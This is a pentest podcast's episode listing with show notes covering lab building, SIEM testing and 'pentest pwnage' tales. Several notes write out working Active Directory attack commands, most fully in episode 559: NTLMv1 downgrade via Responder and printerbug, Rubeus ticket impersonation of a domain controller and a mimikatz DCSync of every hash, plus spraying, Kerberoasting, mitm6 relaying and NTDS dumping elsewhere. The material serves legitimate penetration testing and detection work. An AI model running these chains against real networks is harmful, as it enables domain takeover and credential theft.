7 Minute Security

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7MS #560: 7MOOCH - Dolphin Rides Are Done Dude Feb 17, 2023

Show notes

Hey friends, I took a mental health break this week and pre-podcasted this episode of a new series called 7MOOCH: 7 Minutes of Only Chuckles. In today's story, we unpack a situation in Hawaii that made me exclaim the following quite loudly: "Dolphin rides are done, dude!"

7MS: #559: Tales of Pentest Pwnage - Part 46 Feb 10, 2023

Show notes

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood):

Change the Responder.conf file like so:

; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788

Run Responder with --disable-ess flag

sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess

Use printerbug to coax authentication from a domain controller:

sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX

Convert hash to make it easier to crack!

sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER

Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds!

Now you can do a Rubeus asktgt with the DC hash:

rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap

Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!!

rubeus.exe ptt /ticket:TICKET GOES HERE

Use mimikatz to dump all hashes!

mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

7MS #558: How to Build a Vulnerable Pentest Lab - Part 2 Feb 07, 2023

Show notes

Today we continue part 2 of a series we started a few weeks ago all about building a vulnerable pentesting lab. Check out the video above, and here are the main snippets of code and tips to get you going:

Use Youzer to import a bunch of bogus users into your Active Directory:

sudo python ./youzer.py --generate --generate_length 20 --ou "ou=Contractors,dc=brifly,dc=us" --domain brifly.us --users 1000 --output lusers.csv

Make a Kerberoastable user:

New-AdUser -Name "Kerba Roastable" -GivenName "Kerba" -Surname "Roastable" -SamAccountName Kerba -Description "ROASTED!" -Path "OU=Contractors,DC=brifly,DC=us" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -force) -passThru -PasswordNeverExpires $true enable-adaccount Kerba setspn -a IIS_SITE/brifly-dc01.brily.us:77777 briflyus\kerba

7MS #557: Better Passive Network Visibility Using Teleseer Jan 27, 2023

Show notes

Today we're talking about Teleseer, which is an awesome service to give you better network visibility - whether you're on the blue, red or purple team! It all starts with a simple packet capture, and ends with gorgeous visuals and insight into what the heck is on your network and - from a pentester's perspective - delicious vulnerabilities that may lie within!

7MS #556: How to Build a Vulnerable Pentest Lab Jan 20, 2023

Show notes

Today's episode is brought to us by our friends at Blumira!

Today we kick off a series all about building your own vulnerable pentest lab from scratch, specifically:

Spinning up a domain controller with a few lines of PowerShell
Installing Active Directory Domain Services
Setting up an intentionally cruddy password policy
Baking in the MS14-025 vulnerability

P.S. if you're looking for a more automated/push-button solution to get up and going with a lab to play in, check out some of these options:

https://github.com/Orange-Cyberdefense/GOAD https://automatedlab.org/en/latest/ https://github.com/microsoft/MSLab https://github.com/davidprowe/BadBlood https://github.com/cliffe/secgen https://github.com/WazeHell/vulnerable-AD

7MS #555: Light Pentest eBook 1.1 Release Jan 13, 2023

Show notes

Today we're releasing version 1.1 of our Light Pentest eBook. Changes discussed in today's episode (and shown live in the accompanying YouTube video) include:

Some typos and bug fixes
A new section on finding systems with unconstrained delegation and exploiting them
A new section on finding easily pwnable passwords via password spraying
A new section relaying credentials with MITM6 (be careful using some of its options - read this
New ways (and some words of warning) to dump hashes from Active Directory

7MS #554: Simple Ways to Test Your SIEM Jan 06, 2023

Show notes

Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered:

Port scanning nmap 10.0.7.0/24 - basic nmap scan massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports!

Password spraying Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt

Kerberoasting and ASREPRoasting rubeus.exe kerberoast /simple rubeus asreproast /nowrap

Key group membership changes net group "GROUP NAME" user-to-add-to-a-group /add

Dump Active Directory hashes cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q

SMB share hunting Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares

7MS #553: The Artificial Intelligence Throat Burn Episode Dec 30, 2022

Show notes

Hey friends, today's episode is hosted by an AI from Murf.ai because I suffered a throat injury over the holidays and spent Christmas morning in the emergency room! TLDL: I'm fine, but if you want the (sort of) gory details and an update on my condition after my ENT appointment, check out today's episode. Otherwise, we'll see you next week when our regularly scheduled security content continues in 2023.

Merry belated Christmas, happy holidays and happiest of new year to you and yours!

7MS #552: Tales of Pentest Pwnage - Part 45 Dec 24, 2022

Show notes

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!

Today's tale of pentest pwnage covers some of the following attacks/tools:

Teleseer for packet capture visualizations on steroids!
Copernic Desktop Search
Running Responder as Responder.py -I eth0 -A will analyze traffic but not poison it
I like to run mitm6 in one window with mitm6.py -i eth0 -d mydomain.com --no-ra --ignore-nofqdn and then in another window I do ntlmrelayx.py -6 -wh doesntexist -t ldaps://ip.of.the.dc -smb2support --delegate-access > relaysRphun.log - that way I always have a log of everything happening during the mitm6 attack
Vast.ai looks to be a cost-effective way to crack hashes in the cloud (haven't tested it myself yet)

7MS #551: Interview with Matt Warner of Blumira Dec 16, 2022

Show notes

Today we welcome our pal Matthew Warner (CTO and co-founder of Blumira) back to the show for a third time (his first appearance was #507 and second was #529).

I complained to Matt about how so many SIEM/SOC solutions don't catch early warning signs of evil things lurking in customer networks. Specifically, I whined about 7 specific, oft-missed attacks like port scanning, Kerberoasting, ASREPRoasting, password spraying and more. (Shameless self-promotion opportunity: I will be discussing these attacks on an upcoming livestream on December 29).

Matt dives into each of these attacks and shares some fantastic insights into what they look like from a defensive perspective, and also offers practical strategies and tools for detecting them!

Note: during the discussion, Matt points out a lot of important Active Directory groups to keep an eye on from a membership point of view. Those groups include:

ASAAdmins
Account Operators
Administrators
Administrators
Backup Operators
Cert Publishers
Certificate Service DCOM
DHCP Administrators
Debugger Users
DnsAdmins
Domain Admins
Enterprise Admins
Enterprise Admins
Event Log Readers
ExchangeAdmins
Group Policy Creator Owners
Hyper-V Administrators
IIS_IUSRS
IT Compliance and Security Admins
Incoming Forest Trust Builders
MacAdmins
Network Configuration Operators
Schema Admins
Server Operators
ServerAdmins
SourceFireAdmins
WinRMRemoteWMIUsers
WorkstationAdmins
vCenterAdmins

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